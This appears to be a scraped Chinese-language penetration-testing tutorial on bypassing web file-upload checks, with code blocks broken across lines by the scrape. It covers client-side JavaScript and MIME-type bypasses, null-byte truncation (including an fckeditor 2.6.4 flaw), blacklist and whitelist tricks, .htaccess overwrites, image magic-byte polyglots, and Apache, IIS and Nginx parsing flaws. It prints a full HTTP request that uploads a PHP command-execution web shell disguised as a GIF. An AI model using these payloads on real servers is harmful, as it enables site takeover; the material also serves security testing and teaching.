文件上傳
論壇裏面講文件上傳的不少,可是裏面講的都不全面,我就借鑑各位前輩的結晶總結了一個相對全面的。
一般web 站點會有用戶註冊功能,而當用戶登入以後大多數狀況下都會存在相似頭像上傳、附件上傳一類的功能,這些功能點每每存在上傳驗證方式不嚴格的安全缺陷,是在web 滲透中很是關鍵的突破口,只要通過仔細測試分析來繞過上傳驗證機制,每每會形成被攻擊者直接上傳web 後門,進而控制整個web 業務的控制權,複雜一點的狀況是結合webserver 的解析漏洞來上傳後門獲取權限。
一個簡單的圖來講明文件上傳檢測的流程:
一般一個文件以 HTTP 協議進行上傳時,將以 POST 請求發送至 web 服務器,web 服務器接收到請求後並贊成後,用戶與 web 服務器將創建鏈接,並傳輸 data。
而通常一個文件上傳過程當中的檢測以下圖紅色標記部分:
javascript
客戶端檢測繞過(javascript 檢測)
php
這類檢測一般在上傳頁面裏含有專門檢測文件上傳的javascript 代碼,最多見的就是檢測擴展名是否合法。
打開http 反向代理工具burp,先隨便點擊上傳一個1.php
html
點上傳,burp 裏也還沒出現任何內容,便彈出了一個警告框,一看就知道是個客戶端驗證javascript,只須要把它禁掉或者經過burp 進行代理修改。
java
burp行代理修改,先將文件擴展名改爲jpg
web
而後上傳 如今的文件名是1.jpg 經過
shell
在burp 裏將jpg 改爲php
windows
而後繼續上傳,最後能夠看到1.php 成功上傳。
服務端驗證繞過(MIME 類型檢測)
數組
假如服務器端上的upload.php代碼以下:
安全
01
02
03
04
05
06
07
08
09
10
11
12
13
|
<?php
if
(
$_FILES
[
'userfile'
][
'type'
] !=
"image/gif"
) {
//檢測Content-type
echo
"Sorry, we only allow uploading GIF images"
;
exit
;
}
$uploaddir
=
'uploads/'
;
$uploadfile
=
$uploaddir
.
basename
(
$_FILES
[
'userfile'
][
'name'
]);
if
(move_uploaded_file(
$_FILES
[
'userfile'
][
'tmp_name'
],
$uploadfile
)) {
echo
"File is valid, and was successfully uploaded.\n"
;
}
else
{
echo
"File uploading failed.\n"
;
}
?>
|
而後咱們能夠將request包的Content-Type 修改
服務器
01
02
03
04
05
06
07
08
09
10
11
12
|
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name=
"userfile"
;filename=
"1.php"
Content-Type: image/gif (原爲Content-Type: text/plain)
<?php system(
$_GET
[
'command'
]);?>
--xYzZY--
|
獲得服務端的應答:
1
2
3
4
5
6
7
|
HTTP/1.1 200 OK
Date
: Thu, 31 May 2017 14:02:11 GMT
Server: Apache
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid,
and
was successfully uploaded.</pre>
|
咱們成功繞過了服務端MIME 類型檢測,這種服務端檢測http 包的Content-Type 均可以用這種相似的方法來繞過檢測。
服務器檢測繞過(目錄路徑檢測)
通常就檢測路徑是否合法,但稍微特殊一點的都沒有防護。好比比較新的fckeditor php <= 2.6.4 任意文件上傳漏洞,地址:
http://user.qzone.qq.com/1299183598/main
郊果以下:
由於對目錄路徑的檢測不夠嚴謹而致使能夠用0x00 截斷進行攻擊,能夠看到圖中,在最後將要進行寫文件以前的變量狀態:
sFilePath =C:/wamp/www/userfiles/image/fuck.php .gif/fvck.gif (.php 後面是0x00)
當右圖執行move_uploaded_file($oFile['tmp_name'], $sFilePath) 這個函數時
1. 先將sFilePath寫入到指定位置,可是底層操做應該是調用的相似於c 語言,遇到0x00會自動截斷,因此真正寫入的實際地址是C:/wamp/www/userfiles/image/fuck.php
2. 把本來fvck.gif裏的內容(目前應該存在臨時文件,相似於C:/Temp/phpf3at7b這樣的文件)而後把C:/Temp/phpf3at7b 的內容寫入到C:/wamp/www/userfiles/image/fuck.php 裏,這樣便得到了咱們所想要的webshell
問題出在了io.php 裏的ServerMapFolder 函數
當POST 下面的URL 的時候
/
1
2
|
fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gifHTTP/1.0
CurrentFolder 這個變量的值會傳到ServerMapFolder(
$resourceType
,
$folderPath
,
$sCommand
)中的形參
$folder
裏,而
$folder
在這個函數中並沒作任何檢測,就被CombinePaths()了。
|
服務端檢測繞過(文件擴展名檢測)
對於擴展名檢測不強的,時常還能夠結合目錄路徑攻擊,好比filename="test.asp/evil.jpg" 之類
**黑名單**
黑名單檢測黑名單的安全性比白名單的安全性低不少,攻擊手法天然也比白名單多,通常有個專門的blacklist 文件,裏面會包含常見的危險腳本文件。
服務端經過獲取上傳文件的擴展名來匹配預先定義的非法擴展名數組,若是能成功匹配的話,認爲上傳文件不合法,返回報錯信息,若是擴展名沒有匹配到,則認爲上傳文件合法,進行文件保存操做。拿上傳圖片舉例,服務端定義的黑名單:
1
|
$BlackList
=
array
(
"php"
,
"htaccess"
,
"asp"
,
"aspx"
);
|
根據黑名單列表能夠看出服務器不容許上傳攻擊中經常使用的php、htaccess、asp、aspx等腳本文件,也就是說這些文件都會被服務端所攔截,不能上傳成功。
文件名大小寫繞過
用像AsP,pHp 之類的文件名繞過黑名單檢測
名單列表繞過
用黑名單裏沒有的名單進行攻擊,好比黑名單裏沒有asa 或cer 之類
特殊文件名繞過
好比發送的http 包裏把文件名改爲test.asp. 或test.asp_(下劃線爲空格),這種命名方式在windows 系統裏是不被容許的,因此須要在burp 之類裏進行修改,而後繞過驗證後,會被windows 系統自動去掉後面的點和空格,但要注意Unix/Linux 系統沒有這個特性。
0x00 截斷繞過
給個簡單的僞代碼
1
2
3
4
5
|
name= getname(http request)
//假如這時候獲取到的文件名是test.asp.jpg(asp 後面爲0x00)
type=
gettype
(name)
//而在gettype()函數裏處理方式是從後往前掃描擴展名,因此判斷爲jpg
if
(type == jpg)
SaveFileToPath(UploadPath.name,name)
//但在這裏倒是以0x00 做爲文件名截斷
//最後以test.asp存入路徑裏
|
雙擴展名解析繞過攻擊 (1)- 基於web 服務的解析邏輯
好比在Apachemanual 中有這樣一段描述:
「Files can havemore than one extension, and the order of the extensions is normallyirrelevant.For example, if the file welcome.html.fr maps onto content typetext/html and language Frenchthen the file welcome.fr.html will map onto exactlythe same information. If more than oneextension is given which maps onto thesame type of meta-information, then the one to the right will be used, exceptfor languages and content encodings. For example, if .gif maps to the MIME-typeimage/gif and .html maps to the MIME-type text/html, then the filewelcome.gif.html will be associated with the MIME-type text/html.」
若是上傳一個文件名爲help.asp.123 首先擴展名123 並無在擴展名blacklist 裏,而後擴展名123 也沒在Apache 可解析擴展名list 裏,這個時候它會向前搜 尋下一個可解析擴展名,或搜尋到.php,最後會以php 執行。
htaccess 文件攻擊
配合名單列表繞過,上傳一個自定義的.htaccess,就能夠輕鬆繞過各類檢測
解析調用/漏洞繞過
這類漏洞直接配合上傳一個代碼注入過的非黑名單文件便可,再利用解析調用/漏洞
雙擴展名解析繞過攻擊(2) - 基於web服務的解析方式
若是在Apache的conf 裏有這樣一行配置 AddHandlerphp5-script .php 這時只要文件名裏包含.php 即便文件名是test2.php.jpg 也會以php 來執行。
危險解析繞過攻擊- 基於web 服務的解析方式
若是在Apache的conf 裏有這樣一行配置 AddTypeapplication/x-httpd-php .jpg 即便擴展名是jpg,同樣能以php 方式執行。
**白名單檢測**
服務端經過獲取上傳文件的擴展名來匹配預先定義的合法擴展名數組,若是未能成功匹配的話,認爲上傳文件不合法,返回報錯信息,若是擴展名能成功匹配,則認爲上傳文件合法,進行文件保存操做。
拿上傳圖片舉例,服務端定義的白名單:```$WhiteList=array("png","jpg","jpeg","gif");```只容許上傳png、jpg、jpeg、gif文件,若是攻擊者上傳惡意腳本文件(例如php、asp文件)就會被服務端攔截,讓攻擊者沒法攻擊服務器。
相對來講比黑名單安全一些,但也不見得就絕對安全了.
0x00 截斷繞過
用像test.asp%00.jpg的方式進行截斷,屬於白名單文件,再利用服務端代碼的檢測邏輯漏洞進行攻擊,目前我只遇到過asp 的程序有這種漏洞
解析調用/漏洞繞過
這類漏洞直接配合上傳一個代碼注入過的白名單文件便可,再利用解析調用/漏洞
.htaccess文件攻擊
不管是黑名單仍是白名單,直接點就是直接攻擊.htaccess 文件(其實目前我只見過結合黑名單攻擊的,在後面的攻擊分類裏,我會把它歸到黑名單繞過攻擊裏。但網上是把這個單獨分類出來的,可能別人有一些我不知道的方式和技巧吧,因此在這裏我也暫時保留這個單獨分類)
在PHP manual 中提到了下面一段話:
move_uploaded_filesection, there is a warning which states
‘Ifthe destination file already exists, it will be overwritten.’
若是PHP安全沒配置好,就能夠經過move_uploaded_file 函數把本身寫的.htaccess 文件覆蓋掉服務器上的,這樣就能任意定義解析名單了。
服務端檢測繞過(文件內容檢測)
若是文件內容檢測設置得比較嚴格,那麼上傳攻擊將變得很是困難,也能夠說它是在代碼層檢測的最後一道關卡,若是它被突破了,就算沒有代碼層的漏洞,也給後面利用應用層的解析漏洞帶來了機會。咱們這裏主要以最多見的圖像類型內容檢測來舉例:
主要是檢測文件內容開始處的文件幻數,好比圖片類型的文件幻數以下:
要繞過jpg 文件幻數檢測就要在文件開頭寫上下圖的值
要繞過gif 文件幻數檢測就要在文件開頭寫上下圖的值
要繞過png 文件幻數檢測就要在文件開頭寫上下面的值
而後在文件幻數後面加上本身的一句話木馬代碼就好了
文件相關信息檢測
圖像文件相關信息檢測經常使用的就是getimagesize()函數,只須要把文件頭部分僞造好就ok 了,就是在幻數的基礎上還加了一些文件信息,有點像下面的結構:
1
2
3
4
|
GIF89a
(...some binary data
for
image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)
|
文件加載檢測
這個是最變態的檢測了,通常是調用API 或函數去進行文件加載測試,常見的是圖像渲染測試,再變態點的甚至是進行二次渲染(後面會提到)。對渲染/加載測試的攻擊方式是代碼注入繞過;對二次渲染的攻擊方式是攻擊文件加載器自身。
先說下對渲染/加載測試攻擊-代碼注入繞過,能夠用圖像處理軟件對一張圖片進行代碼注入。用winhex看數據能夠分析出這類工具的原理是在不破壞文件自己的渲染狀況下找一個空白區進行填充代碼,通常會是圖片的註釋區。對於渲染測試基本上都能繞過,畢竟自己的文件結構是完整的.
但若是碰到變態的二次渲染,基本上就無法繞過了,估計就只能對文件加載器進行攻擊了。
通常進行遇到二次渲染,想繞過,就目前我的經驗還沒想出方法,它至關因而把本來屬於圖像數據的部分抓了出來,再用本身的API 或函數進行從新渲染,在這個過程當中非圖像數據的部分直接就被隔離開了。能想到的一個思路就是基於數據二義性,即讓數據既是圖像數據也包含一句話木馬代碼,就像shellcode 經過數據二義性繞過IDS 檢測特殊字符同樣的道理,但如今我還不知道怎麼構造出這樣的圖像文件。
若是要對文件加載器進行攻擊,常見的就是溢出攻擊,上傳本身的惡意文件後,服務器上的文件加載器會主動進行加載測試,加載測試時被溢出攻擊執行shellcode好比access/mdb 溢出,你們能夠參考下http://lcx.cc/?FoxNews=1542.html
總之對文件完整性檢測的繞過,一般就直接用個結構完整的文件進行代碼注入便可不必再去測究竟是檢查的幻數仍是文件頭結構之類的了。
解析攻擊
攻擊角度來分是這樣的:
直接解析(徹底沒防護或有一點簡單的防護)
好比咱們直接就能夠上傳一個擴展名是.php的文件,只須要簡單地繞過客戶端javascript 檢測或者服務端MIME 類型檢測就好了。
配合解析(有必定程度的防護)
咱們能夠理解爲先代碼注入到服務器上,上傳一個帶有一句話木馬的圖片或文件之類
讓它待在某個位置,等待這一個解析的配合。(好比php 的文件包含解析,web 服務器的解析漏洞,.htaccess 解析等)
本地文件包含解析
主要是php 的本地文件包含(遠程文件包含不屬於上傳攻擊繞過範疇)
htaccess解析
就不用多說了,看看以前.htaccess 文件攻擊的那個案例,用戶本身定義如何去調用解析器解析文件就能夠了。
web應用程序解析漏洞以及其原理
Apache 解析漏洞
解析: test.php.任意不屬於黑名單且也不屬於Apache解析白名單的名稱
描述: 一個文件名爲x1.x2.x3 的文件,Apache 會從x3 的位置往x1 的位置開始嘗試解析,
若是x3 不屬於Apache 能解析的擴展名,那麼Apache會嘗試去解析x2 的位置,這樣一直往前嘗試,直到遇到一個能解析的擴展名爲止
IIS 解析漏洞
解析- test.asp/任意文件名|test.asp;任意文件名| 任意文件名/任意文件名.php
描述- IIS6.0 在解析asp 格式的時候有兩個解析漏洞,一個是若是目錄名包含".asp"字符串,那麼這個目錄下全部的文件都會按照asp 去解析,另外一個是隻要文件名中含有".asp;"會優先按asp 來解析。
IIS7.0/7.5 是對php 解析時有一個相似於Nginx的解析漏洞,對任意文件名只要在URL後面追加上字符串"/任意文件名.php"就會按照php 的方式去解析。
Nginx 解析漏洞
解析- 任意文件名/任意文件名.php | 任意文件名%00.php
描述- 目前Nginx 主要有這兩種漏洞,一個是對任意文件名,在後面添加/任意文件名.php
的解析漏洞,好比本來文件名是test.jpg,能夠添加爲test.jpg/x.php進行解析攻擊。還有一種是對低版本的Nginx 能夠在任意文件名後面添加%00.php 進行解析攻擊。
總結:寫的有點多,此次就先這樣了,代碼層,應用層等等漏洞出如今多個層面,總之安全學習之路還很長,很長..............